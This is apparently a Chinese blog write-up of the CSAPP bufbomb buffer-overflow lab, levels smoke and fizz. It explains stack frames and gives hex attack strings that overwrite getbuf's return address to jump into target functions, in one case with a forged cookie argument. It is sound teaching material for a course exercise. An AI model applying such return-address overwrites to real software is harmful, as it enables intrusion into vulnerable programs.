CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

时间:2024-03-12 20:39:42

前言

完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧。

 

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

 

lab3要我们做这样一件事情,修改一个正在运行程序的stack以达到预期的目的。具体的修改方式是这样的:程序定义了一个局部C风格字符串变量,注意局部变量是放在stack上面的,所以当初始化这个字符串为用户输入,而又没有边界检查的话,就会缓冲区溢出,那么就会破坏这个函数栈。

就像下面这个函数会破坏自己的函数栈:

#define NORMAL_BUFF_SIZE 32
int getbuf()
{
    char buf[NORMAL_BUFF_SIZE];
    Gets(buf);
    return 1;
}

 

会破坏到什么程度呢?如果用户输入太大,那么就把saved ebp给覆盖掉了;再大一点,就把return address覆盖掉了…没错,这个lab的精髓就是要让我们的输入来覆盖return address达到return到代码的其它地方执行!!!

ESP(Extended Stack Pointer)为扩展栈指针寄存器,是指针寄存器的一种,用于存放函数栈顶指针。与之对应的是EBP(Extended Base Pointer),扩展基址指针寄存器,也被称为帧指针寄存器,用于存放函数栈底指针。

ESP为栈指针,用于指向栈的栈顶(下一个压入栈的活动记录的顶部),而EBP为帧指针,指向当前活动记录的底部

 

实验目的:

通过缓冲区溢出攻击,使学生进一步理解IA-32函数调用规则和栈帧结构。

实验技能:

需要使用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容,也需要学生掌握简单的IA32汇编程序编写方法。

实验要求:

5个难度等级(0-4逐级递增)

级别0、Smoke(candle):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。


级别1、Fizz(sparkler):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。


级别2、Bang(firecracker):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。因此,需要在缓冲区中注入恶意代码篡改全局变量。


级别3、Boom(dynamite):前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行。Boom要求攻击程序能够返回到原调用函数test继续执行,即要求攻击之后,还原对栈帧结构的破坏。


级别4、kaboom(Nitro):本攻击需要对目标程序连续攻击n=5次,但每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。

从这个等级的命名我们也能窥探到一些端倪,candle 蜡烛,sparkler 烟火,firecracker 爆竹,dynamite 火药,Nitro 硝化甘油这一套命名规则显然让我们想起来lab2的拆弹实验,可见级别越高威力必然也就越大。而另外一套命名规则显然是从效果来看的,Smoke 冒烟,Fizz 劈啪作响,Bang 怦然巨响,Boom 隆隆作响,kaboom 大炸裂,果然有点意思。

文件夹内容

本实验的数据包含于一个文件夹buflab-handout.tar中。下载该文件到本地目录中,然后利用“tar –xvf buflab-handout.tar”命令将其解压。

bufbomb:实验需要攻击的目标程序bufbomb。
bufbomb.c:目标程序bufbomb的主源程序。本校的实验中没有给出,但老师给的ppt上有。
makecookie:该程序基于你的学号产生一个唯一的由8个16进制数字组成的4字节序列(例如0x5f405c9a),称为“cookie”。
hex2raw:构建的攻击字符串中可能包含不可打印字符,很难通过键盘输入,提交结果时,一般将结果放置在一个答案txt文件中(攻击字符串以可显示的16进制形式存储),在输入给bufbomb之前,需要使用hex2raw将其转换成原始的(raw)数据。


其中结果提交和验证时,均需要使用到bufbomb,其使用方法(-h查看帮助):

h:查看帮助;
u:学生标识;-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值,这里我使用的userid是stu
n:对于级别4(nitro/kaboom),需要加此参数,被坑了很久,一定要加上此参数!!
s:验证正确性的同时,将结果提交到服务器(如果验证正确);

实验步骤及操作说明

准备工作

使用objdump -d命令将其反汇编到bufbomb.asm。

 objdump -d bufbomb > bufbomb.asm

使用makecookie,生成用户的Cookie,后面解题都要用到这个Cookie:

0~3关:

攻击test()下getbuf()

 

第4关(Nitro/kaboom):

循环调用5次,
攻击testn() 下getbufn()

第0关:smoke

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。

源码:

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
//Smoke源码:
void smoke()
{
    puts("Smoke!: You calledsmoke()");
    validate(0);
    exit(0);
}

我们的目标是调用上面的getbuf()以后,不正常返回,而是跳掉smoke这个函数的地方执行。

先看一下smoke的反汇编代码:

smoke函数的地址:0x8048c28

getbuf函数对应的栈还是上面那个栈的图:

 

buf只有0x28字节长度。

接下来,只要构造0x28(buf)+4(ebp)+4(return address)=48字节长度的字节码就可以将返回地址覆盖,最后四个字节的内容放smoke函数的地址保证返回地址是被smoke函数的地址覆盖,因为是小端存储(是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中),也就是:28 8c 04 08,前面44个字节任意这里我放一些00

 也就是:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
28 8c 04 08

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

完成!

 

第1关:fizz

构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。

还是上面的test函数和getbuf函数,这里就给出fizz源码:

void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    }
    else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

这一关和第0关类似,最大的区别是这次要跳到fizz这个函数有个参数,我们在输入里需要伪造出函数的参数。

先看一下fizz的反汇编代码:

fizz函数的地址:0x08048c52 即( 52 8c 04 08)

在fizz函数代码里有这样两句:

 mov    0x8(%ebp),%eax
 cmp    0x804d108,%eax

其中0x8(%ebp)就是函数的第一个参数,而0x804d108这个内存地址保存着cookie的值,然后这两个值期望是一样的,这个位置就是我们要放cookie的位置。也就是说参数是放到了返回地址的上面,并且和返回地址相邻。同第0关一样,先用fizz函数地址覆盖掉getbuf返回地址,可以执行fizz函数,并且要将fizz函数的返回地址覆盖掉,并用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖,这里00 00 00 00覆盖掉,其作用只是用来占位。

也就是:

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00
52 8c 04 08 /*fizz 函数地址*/
00 00 00 00/*fizz return address */
94 25 80 4f /*Cookie: 0x4f802594*/

将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

完成!

 

CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom